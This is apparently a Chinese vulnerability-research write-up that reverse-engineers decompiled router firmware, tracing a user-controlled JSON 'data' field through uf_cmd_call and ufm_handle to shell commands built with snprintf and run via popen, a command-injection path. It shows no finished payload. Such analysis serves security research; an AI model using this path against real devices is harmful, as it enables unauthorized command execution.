uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd");
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd");
}
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)params is null", "sgi.c", "parse_obj2_cmd");
}
LABEL_129:
cmd_msg_free(ptr_2);
return 0;
}
v17 = 4;
}
}
*(_DWORD *)ptr_2 = v17;
goto LABEL_46;
} // end
v8 = (const char *)strdup(method_2);
*(_DWORD *)(ptr_2 + 8) = v8;
if ( !v8 )
goto LABEL_128;
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)cmd_msg->module:%s", "sgi.c", "parse_obj2_cmd", 295, v8);
if ( json_object_object_get_ex(json, "url", &params_module) == 1 )// 无
{
v9 = json_object_get_string(params_module);
if ( v9 )
{
v10 = strdup(v9);
*(_DWORD *)(ptr_2 + 28) = v10;
if ( !v10 )
goto LABEL_128;
}
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)cmd_msg->url_str:%s",
"sgi.c",
"parse_obj2_cmd",
306,
*(const char **)(ptr_2 + 28));
}
if ( json_object_object_get_ex(json, "sn", &params_module) == 1 )
{
v11 = json_object_get_string(params_module);
if ( v11 )
{
v12 = strdup(v11);
*(_DWORD *)(ptr_2 + 32) = v12;
if ( !v12 )
goto LABEL_128;
}
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)cmd_msg->sn:%s", "sgi.c", "parse_obj2_cmd", 318, *(const char **)(ptr_2 + 32));
}
if ( json_object_object_get_ex(json, "ip", &params_module) != 1 )
goto LABEL_28;
if ( (unsigned int)(json_object_get_type(params_module) - 5) >= 2 )
{
*(_DWORD *)(ptr_2 + 20) = 0;
goto LABEL_28;
}
method_string_1 = json_object_get_string(params_module);
if ( method_string_1 )
{
v14 = (const char *)strdup(method_string_1);
*(_DWORD *)(ptr_2 + 20) = v14;
if ( v14 )
{
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)cmd_msg->ip:%s", "sgi.c", "parse_obj2_cmd", 333, v14);
goto LABEL_28;
}
LABEL_128:
uf_log_printf(uf_client_log, "(%s %s %d)strdup failed!", "sgi.c", "parse_obj2_cmd");
goto LABEL_129;
}
LABEL_28:
*(_DWORD *)ptr_2 = 5;
*(_DWORD *)(ptr_2 + 4) = strdup("get");
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)cmd_msg->ctype:%d", "sgi.c", "parse_obj2_cmd", 339, 5);
LABEL_59:
v24 = *(_DWORD *)ptr_2 != 2;
*(_BYTE *)(ptr_2 + 40) = 0;
*(_BYTE *)(ptr_2 + 41) = v24;
if ( json_object_object_get_ex(params, "async", &params_module) == 1 )
{
v25 = (_BYTE *)sub_40486C(params_module);
v26 = v25;
if ( v25 )
{
if ( *v25 == 48 || !strcmp(v25, "false") )
{
*(_BYTE *)(ptr_2 + 40) = 1;
*(_BYTE *)(ptr_2 + 41) = 1;
}
if ( *v26 == 49 || !strcmp(v26, "true") )
*(_WORD *)(ptr_2 + 40) = 1;
free(v26);
}
}
if ( json_object_object_get_ex(params, "force", &params_module) == 1 )
{
v27 = (_BYTE *)sub_40486C(params_module);
v28 = v27;
if ( v27 )
{
if ( *v27 == 49 || !strcmp(v27, "true") )
*(_BYTE *)(ptr_2 + 43) = 1;
free(v28);
}
}
if ( json_object_object_get_ex(params, "configId_not_change", &params_module) == 1 )
{
v29 = (_BYTE *)sub_40486C(params_module);
v30 = v29;
if ( v29 )
{
if ( *v29 == 49 || !strcmp(v29, "true") )
*(_BYTE *)(ptr_2 + 44) = 1;
free(v30);
}
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)----------configId_not_change:%d",
"sgi.c",
"parse_obj2_cmd",
481,
*(unsigned __int8 *)(ptr_2 + 44));
}
if ( json_object_object_get_ex(params, "buf", &params_module) == 1 )
*(_DWORD *)(ptr_2 + 36) = json_object_get_int(params_module);
if ( json_object_object_get_ex(params, "from_url", &params_module) == 1 )
{
v31 = (_BYTE *)sub_40486C(params_module);
v32 = v31;
if ( v31 )
{
if ( *v31 == 49 || !strcmp(v31, "true") )
*(_BYTE *)(ptr_2 + 45) = 1;
free(v32);
}
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)----------from_url:%d",
"sgi.c",
"parse_obj2_cmd",
500,
*(unsigned __int8 *)(ptr_2 + 45));
}
if ( json_object_object_get_ex(params, "from_file", &params_module) == 1 )
{
v33 = (_BYTE *)sub_40486C(params_module);
v34 = v33;
if ( v33 )
{
if ( *v33 == 49 || !strcmp(v33, "true") )
*(_BYTE *)(ptr_2 + 47) = 1;
free(v34);
}
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)----------from_file:%d",
"sgi.c",
"parse_obj2_cmd",
513,
*(unsigned __int8 *)(ptr_2 + 47));
}
if ( json_object_object_get_ex(params, "multi", &params_module) == 1 )
{
v35 = (_BYTE *)sub_40486C(params_module);
v36 = v35;
if ( v35 )
{
if ( *v35 == 49 || !strcmp(v35, "true") )
*(_BYTE *)(ptr_2 + 48) = 1;
free(v36);
}
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)----------multi:%d",
"sgi.c",
"parse_obj2_cmd",
526,
*(unsigned __int8 *)(ptr_2 + 48));
}
if ( json_object_object_get_ex(params, "not_commit", &params_module) == 1 )
{
v37 = (_BYTE *)sub_40486C(params_module);
v38 = v37;
if ( v37 )
{
if ( *v37 == 49 || !strcmp(v37, "true") )
*(_BYTE *)(ptr_2 + 46) = 1;
free(v38);
}
if ( g_debug >= 2 )
uf_log_printf(
uf_log,
"(%s %s %d)----------not_commit:%d",
"sgi.c",
"parse_obj2_cmd",
538,
*(unsigned __int8 *)(ptr_2 + 46));
}
if ( json_object_object_get_ex(params, "execute", &params_module) == 1 )
{
v39 = (_BYTE *)sub_40486C(params_module);
v40 = v39;
if ( v39 )
{
if ( *v39 == 49 || !strcmp(v39, "true") )
*(_BYTE *)(ptr_2 + 42) = 1;
free(v40);
}
}
v41 = ptr_2;
if ( json_object_object_get_ex(params, "data", &params_module) == 1
&& (unsigned int)(json_object_get_type(params_module) - 4) < 3 )
{
v42 = json_object_get_string(params_module);
if ( v42 )
{
v43 = strdup(v42);
*(_DWORD *)(ptr_2 + 12) = v43;
if ( !v43 )
goto LABEL_128;
}
}
return v41;
}

处理data的部分

1
2
3
4
5
6
7
8
9
10
11
12
if ( json_object_object_get_ex(params, "data", &params_module) == 1
&& (unsigned int)(json_object_get_type(params_module) - 4) < 3 )
{
v42 = json_object_get_string(params_module);
if ( v42 )
{
v43 = strdup(v42);
*(_DWORD *)(ptr_2 + 12) = v43;
if ( !v43 )
goto LABEL_128;
}
}

这段代码从 JSON 对象 params 中提取 “data” 字段,并检查其类型是否为字符串、数组或对象。如果是字符串类型,则复制字符串并将其指针存储在指定的位置。如果内存分配失败,则跳转到错误处理代码。

  1. json_type_null (值为 0)
  2. json_type_boolean (值为 1)
  3. json_type_double (值为 2)
  4. json_type_int (值为 3)
  5. json_type_object (值为 4)
  6. json_type_array (值为 5)
  7. json_type_string (值为 6)

这边记住可控字段的偏移12

到了之后有一个uf_cmd_call函数,乍一看感觉有命令执行点,因此跟进,寻找命令执行点

ufm_popen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall ufm_popen(const char *a1, _DWORD *a2)
{
int v4; // $s0
const char *v5; // $v0
_DWORD *v6; // $s2
_BYTE *v7; // $v0
int v9; // $s4
char v10[51200]; // [sp+28h] [-C808h] BYREF
int v11; // [sp+C828h] [-8h] BYREF

if ( !a1 )
return -1;
pthread_mutex_lock(&unk_435F30);
v4 = popen(a1, "r"); //执行a1指向的shell命令
pthread_mutex_unlock(&unk_435F30);
if ( !v4 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)cmd[%s] open failed!", "ufm_common.c", "ufm_popen", 47, a1);
v6 = (_DWORD *)_errno_location();
v5 = (const char *)strerror(*v6);
uf_log_printf(uf_log, "ERROR (%s %s %d)popen failed. %s, with errno %d.", "ufm_common.c", "ufm_popen", 48, v5, *v6);
return -1;
}
v11 = 512;
v7 = (_BYTE *)malloc(512);
*a2 = v7;
if ( !v7 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory full!", "ufm_common.c", "ufm_popen", 55);
pclose(v4);
return -1;
}
*v7 = 0;
v9 = 1;
while ( !feof(v4) )
{
memset(v10, 0, sizeof(v10));
if ( fgets(v10, 51200, v4) )
{
uf_str_append(a2, v10, &v11);
v9 = 0;
}
if ( (unsigned int)strlen(*a2) >= 0x9C4001 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)string oversize!", "ufm_common.c", "ufm_popen", 69);
break;
}
}
if ( v9 )
{
free(*a2);
*a2 = 0;
}
pthread_mutex_lock(4415280);
pclose(v4);
pthread_mutex_unlock(4415280);
return 0;
}

但是这个函数其实是执行不到的,让我娓娓道来

uf_cmd_call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall uf_cmd_call(int addr, int *a2)
{
.........
v16 = *(unsigned __int8 *)(addr + 45); // 没有特别设置就是0
HIBYTE(_20_23_is_data[4]) = v13 != 5;
_20_23_is_data[5] = v15;
v17 = *(const char **)(addr + 8);
_20_23_is_data[0] = addr;
_20_23_is_data[14] = (int)v17;
if ( !v16 ) //这个直接执行
{
_20_23_is_data[20] = *(_DWORD *)(addr + 12);
goto LABEL_86;
}

因此会直接跳到LABEL_86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
LABEL_86:
addr_20 = *(_DWORD *)(addr + 20);
LOBYTE(_20_23_is_data[1]) = *(_BYTE *)(addr + 41);
addr_40 = *(_BYTE *)(addr + 40);
_20_23_is_data[2] = addr_20;
addr_32 = *(_DWORD *)(addr + 32);
BYTE1(_20_23_is_data[1]) = addr_40;
addr_43 = *(_BYTE *)(addr + 43);
_20_23_is_data[18] = addr_32;
addr_24 = *(_DWORD *)(addr + 24);
BYTE1(_20_23_is_data[4]) = addr_43;
addr_44 = *(_BYTE *)(addr + 44);
_20_23_is_data[3] = addr_24;
addr_0 = *(_DWORD *)addr;
BYTE2(_20_23_is_data[4]) = addr_44;
_20_23_is_data[7] = addr_0; // 7这个位置=addr[0]的值
if ( g_info && !addr_0 )
_20_23_is_data[7] = 1;
data_2 = (const char *)_20_23_is_data[20];
LOBYTE(_20_23_is_data[8]) = 1;
if ( !_20_23_is_data[20] ) // 不会进去
{
v52 = _20_23_is_data[5];
if ( !strcmp(_20_23_is_data[5], "set") || !strcmp(v52, "add") || !strcmp(v52, "del") || !strcmp(v52, "update") )
goto LABEL_93;
v53 = (int *)addr;
if ( _20_23_is_data[7] )
{
LABEL_172:
v75 = *v53;
LABEL_173:
if ( !v75 && g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)para networkId:%s, groupId:%s!",
"ufm_lib.c",
"uf_cmd_call",
538,
(const char *)_20_23_is_data[9],
(const char *)_20_23_is_data[10]);
if ( !strcmp(_20_23_is_data[5], "get")
&& ((v76 = _20_23_is_data[14], !strcmp(_20_23_is_data[14], "configPath"))
|| !strcmp(v76, "configVersion")
|| !strcmp(v76, "configDefault")) )
{
v77 = _20_23_is_data[15];
if ( !_20_23_is_data[15] )
{
v78 = _20_23_is_data[24];
goto LABEL_184;
}
}
else
{
v77 = _20_23_is_data[14];
}
_20_23_is_data[24] = find_module_info(v77, &_20_23_is_data[26]);
v78 = _20_23_is_data[24];
LABEL_184:
if ( v78 )
{
v79 = addr;
if ( !*(_BYTE *)(_20_23_is_data[0] + 48) )
{
pthread_mutex_lock(v78 + 112);
v98 = _20_23_is_data[24];
if ( _sigsetjmp(v96, 0) )
{
pthread_mutex_unlock(v98 + 112);
_pthread_unwind_next(v96);
}
_pthread_register_cancel(v96);
v80 = *(const char **)(addr + 12);
if ( v80 && *v80 )
{
if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s '%s' [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
579,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
v80,
_20_23_is_data[24] + 112);
}
else if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
{
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
583,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
_20_23_is_data[24] + 112);
}
v95 = ufm_handle((int)_20_23_is_data);// 命令执行点
pthread_mutex_unlock(_20_23_is_data[24] + 112);
_pthread_unregister_cancel(v96);
LABEL_211:
v82 = addr;
goto LABEL_212;
}
}
else
{
v79 = addr;
}
v81 = *(const char **)(v79 + 12);
if ( v81 && *v81 )
{
if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s '%s' [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
593,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
v81,
v78 + 112);
}
else if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
{
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
597,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
v78 + 112);
}
v95 = ufm_handle((int)_20_23_is_data); // 命令执行点
goto LABEL_211;
}
if ( sub_4078B4((const char *)_20_23_is_data[14]) )
v54 = (char *)dword_4364AC;
else
v54 = "0";
_20_23_is_data[10] = (int)v54;
_20_23_is_data[9] = dword_4364A8;
LABEL_171:
v53 = (int *)addr;
goto LABEL_172;
}
if ( strchr(_20_23_is_data[20], '}') || strchr(data_2, ']') )// 如果data段中有]或},显然进去
{
_20_23_is_data[23] = json_tokener_parse(data_2, v49);
if ( _20_23_is_data[23] )
{
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)start param parse:%s", "ufm_lib.c", "parse_param", 142, data_2);
data_4 = json_object_get_object(_20_23_is_data[23]);
if ( data_4 )
v56 = *(int **)(data_4 + 32);
else
v56 = 0;
while ( v56 )
{
v57 = *v56;
v58 = *v56;
v59 = v56[1];
v56 = (int *)v56[2];
if ( !strcmp(v58, "module") )
{
_20_23_is_data[15] = json_object_get_string(v59);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)para-module:%s", "ufm_lib.c", "parse_param");
}
else if ( strcmp(v57, "device") || *(_DWORD *)(addr + 16) )
{
if ( !strcmp(v57, "groupId") )
{
_20_23_is_data[10] = json_object_get_string(v59);
LOBYTE(_20_23_is_data[8]) = 0;
}
else if ( !strcmp(v57, "networkId") )
{
_20_23_is_data[9] = json_object_get_string(v59);
}
else if ( !strcmp(v57, "sn") )
{
if ( json_object_get_type(v59) == 5 )
{
_20_23_is_data[19] = json_object_array_length(v59);
if ( _20_23_is_data[19] > 0 )
{
idx = json_object_array_get_idx(v59, 0);
_20_23_is_data[18] = json_object_get_string(idx);
}
}
}
else if ( !strcmp(v57, "configId") )
{
_20_23_is_data[11] = json_object_get_string(v59);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)param configId:%s", "ufm_lib.c", "parse_param");
}
else if ( !strcmp(v57, "configTime") )
{
_20_23_is_data[12] = json_object_get_string(v59);
}
else if ( !strcmp(v57, "currentTime") )
{
_20_23_is_data[13] = json_object_get_string(v59);
}
else if ( !strcmp(v57, "buffer") )
{
_20_23_is_data[16] = json_object_get_string(v59);
}
else if ( !strcmp(v57, "file") )
{
_20_23_is_data[17] = json_object_get_string(v59);
}
else if ( !strcmp(v57, "existIndepend") )
{
v62 = json_object_get_string(v59);
if ( !strcmp(v62, "true") )
BYTE2(_20_23_is_data[1]) = 1;
}
}
else
{
v60 = (const char *)json_object_get_string(v59);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)device:%s", "ufm_lib.c", "parse_param", 149, v60);
if ( v60 )
*(_DWORD *)(addr + 16) = strdup(v60);
}
}
if ( !_20_23_is_data[7] ) // 这里不进去
{
v63 = _20_23_is_data[9];
if ( !_20_23_is_data[10] )
{
if ( sub_4078B4((const char *)_20_23_is_data[14])
|| _20_23_is_data[15] && sub_4078B4((const char *)_20_23_is_data[15]) )
{
v64 = (char *)dword_4364AC;
}
else
{
v64 = "0";
}
_20_23_is_data[10] = (int)v64;
v63 = _20_23_is_data[9];
}
v65 = _20_23_is_data[10];
if ( !v63 )
{
_20_23_is_data[9] = dword_4364A8;
v65 = _20_23_is_data[10];
}
if ( v65 )
{
v66 = strlen(v65);
if ( v66 >= 0x12 )
{
v50 = "ERROR (%s %s %d)groupId oversize %d";
LABEL_142:
v51 = "detect_gid_nid_invalid";
goto LABEL_143;
}
v67 = (char *)v65;
v68 = (char *)(v65 + v66);
while ( v67 != v68 )
{
v69 = *v67++;
if ( (unsigned __int8)(v69 - 48) >= 0xAu )
{
v50 = "ERROR (%s %s %d)invalid char: %c, pure number need!";
goto LABEL_142;
}
}
}
v70 = strlen(_20_23_is_data[9]);
if ( v70 >= 0x22 )
{
v50 = "ERROR (%s %s %d)networkId oversize %d";
}
else
{
v71 = (unsigned __int8 *)_20_23_is_data[9];
v72 = (char *)(_20_23_is_data[9] + v70);
do
{
while ( 1 )
{
if ( v71 == (unsigned __int8 *)v72 )
{
v75 = *(_DWORD *)addr;
goto LABEL_173;
}
v73 = (char)*v71;
v74 = *v71;
if ( (unsigned int)(v74 - 48) >= 0xB && (v74 & 0xFFFFFFDF) - 65 >= 0x1A )
break;
++v71;
}
++v71;
}
while ( v73 == 95 );
v50 = "ERROR (%s %s %d)invalid char: %c, need [number][:][A~Z][_][a~z]!";
}
goto LABEL_142;
}
goto LABEL_171; // 执行这个
}
}
LABEL_93:
v50 = "ERROR (%s %s %d)param parse failed![%s]";
v51 = "parse_param";
LABEL_143:
v95 = 0;
uf_log_printf(uf_log, v50, "ufm_lib.c", v51);
_20_23_is_data[22] = strdup("{\"rcode\":\"03510003\",\"rmsg\":\"UF: param is invalid\"}");
LABEL_244:
v82 = addr;
LABEL_212:
v83 = LOBYTE(_20_23_is_data[26]);
if ( !*(_BYTE *)(v82 + 45) )
goto LABEL_237;
if ( !_20_23_is_data[20] )
goto LABEL_236;
data_3 = json_tokener_parse(*(_DWORD *)(v82 + 12), v40);
v85 = data_3;
if ( !data_3 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)-u param is invalid!", "ufm_lib.c", "url_reply", 400);
goto LABEL_235;
}
data_confirmUrl = json_object_object_get(data_3, "confirmUrl");
data_confirmUrl_1 = data_confirmUrl;
if ( !data_confirmUrl || json_object_get_type(data_confirmUrl) != 6 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)url is empty!", "ufm_lib.c", "url_reply");
goto LABEL_234;
}
v89 = (const char *)json_object_get_string(data_confirmUrl_1);
v88 = strlen(v89);
v90 = (const char *)malloc(v88 + 128);
if ( !v90 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)malloc failed!", "ufm_lib.c", "url_reply");
goto LABEL_234;
}
v91 = strlen(v89);
memset(&v90[v91], 0, 128);
v92 = strlen(v89);
snprintf(
v90,
v92 + 127,
"curl -m 5 -s -k -X POST \"%s\" -H 'content-type: application/json' -d '{\"code\":\"0\",\"msg\":\"success\"}'",
v89);
v96[0] = 0;
v93 = 3;
while ( 2 )
{
ufm_popen(v90, v96); // 命令执行点
........
}
.........
}

跳到这里之后就跳过第一个if进入第二个if,然后执行goto LABEL_171; 和goto LABEL_172;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
LABEL_172:
v75 = *v53;
LABEL_173:
if ( !v75 && g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)para networkId:%s, groupId:%s!",
"ufm_lib.c",
"uf_cmd_call",
538,
(const char *)_20_23_is_data[9],
(const char *)_20_23_is_data[10]);
if ( !strcmp(_20_23_is_data[5], "get")
&& ((v76 = _20_23_is_data[14], !strcmp(_20_23_is_data[14], "configPath"))
|| !strcmp(v76, "configVersion")
|| !strcmp(v76, "configDefault")) )
{
v77 = _20_23_is_data[15];
if ( !_20_23_is_data[15] )
{
v78 = _20_23_is_data[24];
goto LABEL_184;
}
}
else
{
v77 = _20_23_is_data[14];
}
_20_23_is_data[24] = find_module_info(v77, &_20_23_is_data[26]);
v78 = _20_23_is_data[24];
LABEL_184:
if ( v78 )
{
v79 = addr;
if ( !*(_BYTE *)(_20_23_is_data[0] + 48) )
{
pthread_mutex_lock(v78 + 112);
v98 = _20_23_is_data[24];
if ( _sigsetjmp(v96, 0) )
{
pthread_mutex_unlock(v98 + 112);
_pthread_unwind_next(v96);
}
_pthread_register_cancel(v96);
v80 = *(const char **)(addr + 12);
if ( v80 && *v80 )
{
if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s '%s' [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
579,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
v80,
_20_23_is_data[24] + 112);
}
else if ( HIBYTE(_20_23_is_data[4]) && g_debug >= 2 || g_debug >= 3 )
{
uf_log_printf(
uf_log,
"(%s %s %d)%s %s -m %s [mutex:%d]",
"ufm_lib.c",
"uf_cmd_call",
583,
uf_call_type_str[_20_23_is_data[7]],
(const char *)_20_23_is_data[5],
(const char *)_20_23_is_data[14],
_20_23_is_data[24] + 112);
}
v95 = ufm_handle((int)_20_23_is_data);// 命令执行点
pthread_mutex_unlock(_20_23_is_data[24] + 112);
_pthread_unregister_cancel(v96);
LABEL_211:

就会发现之后有一个命令执行点ufm_handle,让我们先分析分析该函数

1
2
3
4
5
6
7
    if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") )
{
v28 = sub_40FD5C(a1);
LABEL_169:
v1 = v28;
goto LABEL_176;
}

由于我们的是set调用所以调用sub_40FD5C函数,经过分析调用sub_40CEAC(a1, a1 + 22, 0, 0) 函数

1
2
snprintf(&v63[v67], v65, " '%s'", data);
ufm_commit_add(0, v63, 1, 0);

主要的调用就是这两个,v63构成了shell

ufm_commit_add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall ufm_commit_add(int a1, int a2, unsigned __int8 a3, const char **a4)
{
int v4; // $s3
int v6; // $v0
int v7; // $s1
int v8; // $s0

v4 = a3;
v7 = 0;
v6 = async_cmd_push_queue(a1, a2, a3);
if ( !v4 )
{
v8 = v6;
if ( v6 )
{
sem_wait(v6 + 36);
*a4 = *(const char **)(v8 + 52);
v7 = *(_DWORD *)(v8 + 56);
sub_41AD10(v8);
if ( g_debug >= 3 )
uf_log_printf(uf_log, "(%s %s %d)commit ret:%d, rbuf:%s", "ufm_thd.c", "ufm_commit_add", 359, v7, *a4);
}
}
return v7;
}

async_cmd_push_queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
int __fastcall async_cmd_push_queue(_DWORD *a1, const char *a2, unsigned __int8 a3)
{
int v3; // $s5
int v6; // $v0
int v7; // $s0
void *v8; // $a0
int v10; // $a0
int v11; // $s2
int v12; // $v0
int v13; // $v0
int v14; // $a0
int v15; // $v0
int v16; // $a0
int v17; // $a0
int v18; // $a0
int v19; // $v0
_DWORD *v20; // $v1
int v21; // $v0

v3 = a3;
if ( dword_4360A4 >= 1001 )
{
uf_log_printf(
uf_log,
"ERROR (%s %s %d)[async cmd queue fulled!][%d]",
"ufm_thd.c",
"async_cmd_push_queue",
78,
1000);
return 0;
}
pthread_mutex_lock(&unk_4360B8);
v6 = malloc(68);
v7 = v6;
if ( !v6 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)memory malloc failed!", "ufm_thd.c", "async_cmd_push_queue", 85);
LABEL_5:
v8 = &unk_4360B8;
LABEL_6:
pthread_mutex_unlock(v8);
return 0;
}
memset(v6, 0, 68);
if ( !a1 )
{
if ( a2 )
{
v19 = strdup(a2);
*(_DWORD *)(v7 + 28) = v19;
if ( v19 )
goto LABEL_34;
uf_log_printf(uf_log, "ERROR (%s %s %d)memory malloc failed![%s]", "ufm_thd.c", "async_cmd_push_queue", 133, a2);
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)invalid commit para!", "ufm_thd.c", "async_cmd_push_queue", 139);
}
free(v7);
goto LABEL_5;
}
memcpy(v7, a1, 28);
v10 = a1[4];
if ( !v10 || (v12 = strdup(v10), (*(_DWORD *)(v7 + 16) = v12) != 0) )
{
v11 = 0;
}
else
{
uf_log_printf(uf_log, "ERROR (%s %s %d)strdup failed!", "ufm_thd.c", "async_cmd_push_queue", 97);
v11 = -1;
}
if ( a1[3] )
{
v13 = json_object_get();
*(_DWORD *)(v7 + 12) = v13;
if ( !v13 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)strdup failed!", "ufm_thd.c", "async_cmd_push_queue", 104);
v11 = -1;
}
if ( g_debug >= 3 )
uf_log_printf(
uf_log,
"(%s %s %d)param obj[%x], para_obg[%x]",
"ufm_thd.c",
"async_cmd_push_queue",
107,
a1[3],
*(_DWORD *)(v7 + 12));
}
v14 = a1[6];
if ( v14 )
{
v15 = strdup(v14);
*(_DWORD *)(v7 + 24) = v15;
if ( !v15 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)strdup failed!", "ufm_thd.c", "async_cmd_push_queue", 112);
LABEL_22:
v16 = *(_DWORD *)(v7 + 16);
if ( v16 )
free(v16);
v17 = *(_DWORD *)(v7 + 12);
if ( v17 )
json_object_put(v17);
v18 = *(_DWORD *)(v7 + 24);
if ( v18 )
free(v18);
free(v7);
v8 = &unk_4360B8;
goto LABEL_6;
}
}
if ( v11 )
goto LABEL_22;
LABEL_34:
v20 = (_DWORD *)dword_435DE0;
*(_DWORD *)(v7 + 60) = &commit_task_head;
dword_435DE0 = v7 + 60;
v21 = dword_4360A4;
*(_DWORD *)(v7 + 64) = v20;
*v20 = v7 + 60;
dword_4360A4 = v21 + 1;
*(_BYTE *)(v7 + 32) = v3;
if ( !v3 )
sem_init(v7 + 36, 0, 0);
pthread_mutex_unlock(&unk_4360B8);
sem_post(&unk_4360A8);
return v7;
}

这个函数的主要功能是将异步命令推送到队列中

详细分析

获取当前队列头指针

1
v20 = (_DWORD *)dword_435DE0;
  • dword_435DE0 是一个全局变量,指向当前队列的头。将其值存储在 v20 中。

设置新任务的 next 指针

1
*(_DWORD *)(v7 + 60) = &commit_task_head;
  • v7 是新分配的任务结构的基地址。
  • 假设任务结构的第 60 字节处存储的是指向下一个任务的指针。
  • 将这个位置初始化为 &commit_task_head,表示新任务的下一个任务是队列头(初始为空)。

更新队列头指针

1
dword_435DE0 = v7 + 60;
  • 将全局队列头指针 dword_435DE0 更新为新任务的 next 指针位置,即 v7 + 60

保存当前队列长度

1
v21 = dword_4360A4;
